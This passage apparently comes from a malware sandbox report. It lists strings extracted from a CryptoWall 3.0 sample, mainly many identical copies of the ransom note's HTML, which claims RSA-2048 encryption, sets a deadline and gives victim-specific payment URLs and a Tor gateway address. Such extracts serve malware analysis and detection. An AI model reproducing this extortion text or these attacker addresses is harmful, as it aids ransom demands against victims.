decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html87.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt53.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt234.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt108.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html65.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html13.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt197.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html268.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt383.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html213.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt68.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt266.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html325.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt55.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html1.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt252.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html297.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html327.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt193.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html141.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html369.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt315.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
